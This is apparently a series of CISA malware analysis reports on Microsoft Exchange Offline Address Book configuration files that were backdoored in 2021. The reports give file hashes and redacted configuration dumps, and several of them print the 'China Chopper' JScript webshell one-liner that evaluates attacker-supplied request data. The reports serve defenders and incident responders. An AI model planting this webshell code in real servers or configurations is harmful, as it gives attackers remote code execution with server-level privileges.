Description

Four files were submitted to CISA for analysis. All of the files are modified Offline Address Book (OAB) Virtual Directories (VD) configuration files for Microsoft Exchange Servers. Three of the files have been modified with a variant of the “China Chopper” webshell. The last file is modified with an authentication key. The modifications allow an attacker to remotely access the server and execute arbitrary code on the system(s).

For a downloadable copy of IOCs, see: MAR-10329494-1.v1.stix.

Submitted Files (4)

0c5fd2b5d1bfe5ffca2784541c9ce2ad3d22a9cb64d941a8439ec1b2a411f7f8 (McYhCzdb.aspx)

138f0a63c9a69b35195c49189837e899433b451f98ff72c515133d396d515659 (0q1iS7mn.aspx)

36149efb63a0100f4fb042ad179945aab1939bcbf8b337ab08b62083c38642ac (8aUco9ZK.aspx)

508ac97ea751daebe8a99fa915144036369fc9e831697731bf57c07f32db01e8 (ogu7zFil.aspx)

138f0a63c9a69b35195c49189837e899433b451f98ff72c515133d396d515659

Tags

backdoorwebshell

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in Internet Information Services (IIS) on Microsoft Exchange servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

The ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the virtual directory from outside the firewall has been replaced with the following code:

–Begin Code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED”],”unsafe”);}</script>
–End Code–

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

0c5fd2b5d1bfe5ffca2784541c9ce2ad3d22a9cb64d941a8439ec1b2a411f7f8

Tags

backdoorwebshell

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in IIS on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

The ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin Code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End Code–

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

36149efb63a0100f4fb042ad179945aab1939bcbf8b337ab08b62083c38642ac

Tags

backdoorwebshell

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in IIS on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

The ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin Code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End Code–

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

508ac97ea751daebe8a99fa915144036369fc9e831697731bf57c07f32db01e8

Tags

backdoor

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit a OAB VD in IIS on Microsoft Exchange servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The configuration has been modified with a key in the ‘ExternalUrl’ field. The key is most likely used for authentication to the server.

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
• Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

Description

CISA received three unique files for analysis. These files appear to contain configuration data for Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. The three output files show malicious modifications for the ExternalUrl parameters. In two of the OAB VDs, the ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10329301-1.v1.stix.

Submitted Files (3)

5ac7dec465b3a532d401afe83f40d336ffc599643501a40d95aa886c436bfc0f (web.config.aspx)

5e09ea8b70a386f0812a8cafb94e2d2365849ce67fda42377389f18e56d860d0 (supp0rt.aspx)

c7e1b386b472a26a36632f4ccc25e37458546b9c864b7ef0ec5ebece5e8cc704 (uHSPTWMG.aspx)

5ac7dec465b3a532d401afe83f40d336ffc599643501a40d95aa886c436bfc0f

Tags

backdoor

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin webshell–
http[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“22cddb421b13c90130b2b2bddedeb360″])),”unsafe”);}</script>
–End webshell–

The code within the file decodes and executes data using the JavaScript “eval” function. The requested encoded data was not available for analysis.

Displayed are the contents of the configuration:

–Begin configuration–
Server                         : [REDACTED]
WhenChanged                     : 3/5/2021 7:55:08 AM
InternalUrl                     : hxxps[:]//REDACTED].local/OAB
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“22cddb421b13c90130b2b2bddedeb360″])),”unsafe”);}</script>
Identity                        : [REDACTEDOAB (Default Web Site)
PollInterval                    : 480
Name                            : OAB (Default Web Site)
AdminDisplayVersion             : Version 15.2 (Build 659.4)
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS[:]//[REDACTED].local/W3SVC/1/ROOT/OAB
Path                            : E:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
InternalAuthenticationMethods : WindowsIntegrated
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED],CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=local
Guid                            : 2604a1e4-17af-4f27-9a43-0c9f877ab1fa
ObjectCategory                 : [REDACTED].local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenCreated                     : 3/4/2021 11:29:50 AM
WhenChangedUTC                 : 3/5/2021 12:55:08 PM
WhenCreatedUTC                 : 3/4/2021 4:29:50 PM
OrganizationId                 :
Id                             : [REDACTED]OAB (Default Web Site)
OriginatingServer             : [REDACTED]-dc1.[REDACTED].local
IsValid                         : True
–End configuration–

c7e1b386b472a26a36632f4ccc25e37458546b9c864b7ef0ec5ebece5e8cc704

Tags

backdoor

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised system. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell, which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin webshell–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End webshell–

he hard-coded key used for authentication was redacted from the code above.

This file contains the following configuration data (sensitive data was redacted):

–Begin configuration–
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS[:]//[REDACTED].local/W3SVC/1/ROOT/OAB
Path                            : E:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.2 (Build 659.4)
Server                         : [REDACTED]
InternalUrl                     : hxxps://[REDACTED].local/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED”],”unsafe”);}</script>
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED],CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=local
Identity                        : MCKEX2019OAB (Default Web Site)
Guid                            : 2ffb2ea7-36b9-4ed4-9ea9-3bfa75d67947
ObjectCategory                 : [REDACTED].local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 3/4/2021 11:29:42 AM
WhenCreated                     : 3/3/2021 10:35:01 AM
WhenChangedUTC                 : 3/4/2021 4:29:42 PM
WhenCreatedUTC                 : 3/3/2021 3:35:01 PM
OrganizationId                 :
Id                             : MCKEX2019OAB (Default Web Site)
OriginatingServer             : [REDACTED]-dc1.[REDACTED].local
IsValid                         : True
–End configuration–

5e09ea8b70a386f0812a8cafb94e2d2365849ce67fda42377389f18e56d860d0

Tags

backdoor

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This is file is an OAB configuration file. The configuration contains a key in the “ExternalUrl” field used for authentication. No webshell was observed in this configuration at the time of analysis.

This file contains the following configuration data (sensitive data was redacted):

–Begin configuration–
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : True
MetabasePath                    : IIS[:]//[REDACTED].local/W3SVC/1/ROOT/OAB
Path                            : E:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.2 (Build 659.4)
Server                         : MCKEX2019
InternalUrl                     : hxxps[:]//mail.[REDACTED].org/OAB
InternalAuthenticationMethods : OAuth
                                WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/[REDACTED]
ExternalAuthenticationMethods : OAuth
                                WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED],CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=local
Identity                        : [REDACTED]OAB (Default Web Site)
Guid                            : 5ca610e7-d5d9-4eaa-8625-76ec5e0ec867
ObjectCategory                 : [REDACTED].local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 2/27/2021 6:47:53 PM
WhenCreated                     : 6/16/2020 4:57:54 PM
WhenChangedUTC                 : 2/27/2021 11:47:53 PM
WhenCreatedUTC                 : 6/16/2020 8:57:54 PM
OrganizationId                 :
Id                             : [REDACTED]OAB (Default Web Site)
OriginatingServer             : [REDACTED]-dc1.[REDACTED].local
IsValid                         : True
–End configuration–

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
• Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

Description

CISA received one file for analysis. The file appears to contain configuration data for a Microsoft Exchange Offline Address Book (OAB) Virtual Directory (VD) extracted from a Microsoft Exchange Server. The output file shows malicious modifications for the ExternalUrl parameters for the VD on the targeted Exchange Server. The ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10329298-1.v1.stix.

Submitted Files (1)

bda1b5b349bfc15b20c3c9cbfabd7ae8473cee8d000045f78ca379a629d97a61 (E3MsTjP8.aspx)

bda1b5b349bfc15b20c3c9cbfabd7ae8473cee8d000045f78ca379a629d97a61

Tags

backdoor

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End code–

Note: The hard-coded key used for authentication was redacted from the code above.

This file contains the following configuration data (sensitive data was redacted):

–Begin configuration data–
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             : Default Offline Address List (Ex2013)
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : True
MetabasePath                    : IIS[:]//Saturn.city.[REDACTED].us/W3SVC/1/ROOT/OAB
Path                            : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.1 (Build 1913.5)
Server                         : SATURN
InternalUrl                     : https://webmail.[REDACTED].org/oab
InternalAuthenticationMethods : OAuth
                                WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
ExternalAuthenticationMethods : OAuth
                                WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=SATURN,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=[Redacted],CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=city,DC=[Redacted],DC=ne,DC=us
Identity                        : SATURNOAB (Default Web Site)
Guid                            : eb5dbf58-dc00-4a8d-86a6-13903cc4c84a
ObjectCategory                 : city.[Redacted].us/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 2/28/2021 2:09:16 PM
WhenCreated                     : 9/20/2017 5:35:27 PM
WhenChangedUTC                 : 2/28/2021 8:09:16 PM
WhenCreatedUTC                 : 9/20/2017 10:35:27 PM
OrganizationId                 :
Id                             : SATURNOAB (Default Web Site)
OriginatingServer             : Police1.city.[Redacted].us
IsValid                         : True
–End configuration data–

If you find this webshell as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
• Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

Description

CISA received two unique files for analysis. These files appear to contain configuration data for two different Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. Both output files show malicious modifications for the ExternalUrl parameters for these two OAB VDs on the targeted Exchange Servers. In one of the OAB VDs, the ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server. The second file is modified with an authentication key.

For a downloadable copy of IOCs, see: MAR-10329297-1.v1.stix.

Submitted Files (2)

31a750f8dbdd5bd608cfec4218ccb5a3842821f7d03d0cff9128ad00a691f4bd (2XJHwN19.aspx)

d637b9a4477778a2e32a22027a86d783e1511e999993aad7dca9b7b1b62250b8 (UwSPMsFi.aspx)

d637b9a4477778a2e32a22027a86d783e1511e999993aad7dca9b7b1b62250b8

Tags

backdoorwebshell

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in Internet Information Services (IIS) on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

The ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin Code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End Code–

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

31a750f8dbdd5bd608cfec4218ccb5a3842821f7d03d0cff9128ad00a691f4bd

Tags

backdoor

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit a OAB VD in IIS on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The configuration has been modified with a key in the ‘ExternalUrl’ field. The key is most likely used for authentication to the server.

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
• Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.